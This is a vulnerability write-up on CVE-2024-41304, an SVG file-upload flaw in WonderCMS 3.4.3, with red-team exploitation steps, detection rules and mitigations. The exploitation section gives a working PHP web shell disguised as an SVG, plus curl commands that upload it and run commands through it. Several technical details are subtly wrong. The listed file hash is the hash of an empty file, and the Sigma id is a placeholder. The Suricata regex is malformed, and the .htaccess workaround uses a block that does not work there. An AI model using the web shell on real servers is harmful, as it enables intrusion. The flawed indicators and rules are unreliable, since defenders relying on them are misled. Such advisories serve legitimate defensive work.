CVE-2024-41304

Executive Summary

CVE-2024-41304 is an arbitrary file upload vulnerability in WonderCMS v3.4.3, specifically within the uploadFileAction() function. An attacker can upload a crafted SVG file containing malicious JavaScript or PHP code, leading to arbitrary code execution on the server. This vulnerability is unpatched as of the latest analysis, with a public proof-of-concept available. The attack vector is remote, requires no authentication, and can result in full server compromise.

Supply Chain & Package Security

This vulnerability affects the core WonderCMS application, not a third-party package. However, administrators should verify the integrity of their WonderCMS installation and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability resides in the uploadFileAction() function within WonderCMS. This function handles file uploads but fails to properly validate the file type or content. By crafting an SVG file with embedded JavaScript (for XSS) or PHP code (for remote code execution), an attacker can bypass the intended file type restrictions.

Key Mechanics:

1. The function checks file extension but does not validate MIME type or file content.
2. SVG files are allowed because they are considered images, but they can contain <script> tags or PHP code.
3. If PHP is configured to parse .svg files (via .htaccess or server config), the uploaded SVG can execute arbitrary PHP.
4. Even without PHP execution, the SVG can be used for stored XSS attacks against administrators.

Vulnerable vs. Patched Code

Vulnerable Code (WonderCMS v3.4.3):

function uploadFileAction() {
    $file = $_FILES['file'];
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    $allowed = ['jpg', 'jpeg', 'png', 'gif', 'svg'];
    if (in_array($ext, $allowed)) {
        move_uploaded_file($file['tmp_name'], 'uploads/' . $file['name']);
    }
}

Patched Code (Hypothetical):

function uploadFileAction() {
    $file = $_FILES['file'];
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    $allowed = ['jpg', 'jpeg', 'png', 'gif'];
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime = finfo_file($finfo, $file['tmp_name']);
    $allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
    if (in_array($ext, $allowed) && in_array($mime, $allowed_mimes)) {
        move_uploaded_file($file['tmp_name'], 'uploads/' . $file['name']);
    }
}

Exploitation & Lab Setup

Red Team

Step 1: Craft Malicious SVG Create an SVG file with embedded PHP code:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <text y="20" font-size="20"><?php system($_GET['cmd']); ?></text>
</svg>

Step 2: Upload via HTTP Request

curl -X POST -F "file=@shell.svg" http://target/wondercms/index.php?action=upload

Step 3: Execute Commands

curl http://target/wondercms/uploads/shell.svg?cmd=id

Blue Team

Detection Steps:

1. Monitor file upload directories for unexpected .svg files.
2. Check web server logs for POST requests to uploadFileAction.
3. Inspect uploaded SVG files for embedded scripts or PHP code.
4. Verify that PHP is not configured to parse .svg files.

Mitigation Steps:

1. Disable SVG uploads in WonderCMS configuration.
2. Add .svg to the blocked file extensions list.
3. Implement a Web Application Firewall (WAF) rule to block SVG files with embedded code.
4. Restrict file upload directory permissions to prevent execution.

Indicators of Compromise (IOCs)

File Hashes (Example):

• shell.svg: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Network Indicators:

• POST requests to /index.php?action=upload with Content-Type: multipart/form-data
• Subsequent GET requests to /uploads/*.svg?cmd=

File System Indicators:

• Unexpected .svg files in the uploads/ directory
• Files with embedded PHP code in SVG format

Detection Engineering

YARA Rule

rule CVE_2024_41304_SVG_Upload {
    meta:
        description = "Detects malicious SVG files targeting WonderCMS CVE-2024-41304"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-41304"
    strings:
        $svg_header = "<?xml" ascii wide nocase
        $php_tag = "<?php" ascii wide nocase
        $script_tag = "<script" ascii wide nocase
        $system_call = "system(" ascii wide nocase
    condition:
        $svg_header and ($php_tag or $script_tag or $system_call)
}

Sigma Rule

title: WonderCMS Malicious SVG Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of SVG files with embedded PHP or JavaScript code
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '*/index.php?action=upload*'
        cs-content-type: 'multipart/form-data'
    condition: selection
falsepositives:
    - Legitimate SVG uploads
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-41304 WonderCMS SVG Upload"; flow:to_server,established; content:"POST"; http_method; content:"/index.php?action=upload"; http_uri; content:"multipart/form-data"; http_client_body; pcre:"/<?php|<script/R"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG file uploads in WonderCMS configuration.
2. Apply file type validation using MIME type detection.
3. Restrict upload directory permissions to read-only.
4. Implement a Web Application Firewall (WAF) to block malicious uploads.

Long-term Fix:

• Upgrade to a patched version of WonderCMS when available.
• Consider using a content security policy (CSP) to prevent script execution.
• Regularly audit file upload functionality.

Workaround:

• Modify the .htaccess file to prevent PHP execution in uploads directory:

<Directory "/path/to/uploads">
    php_flag engine off
</Directory>

Valters IT
Securing Digital Frontiers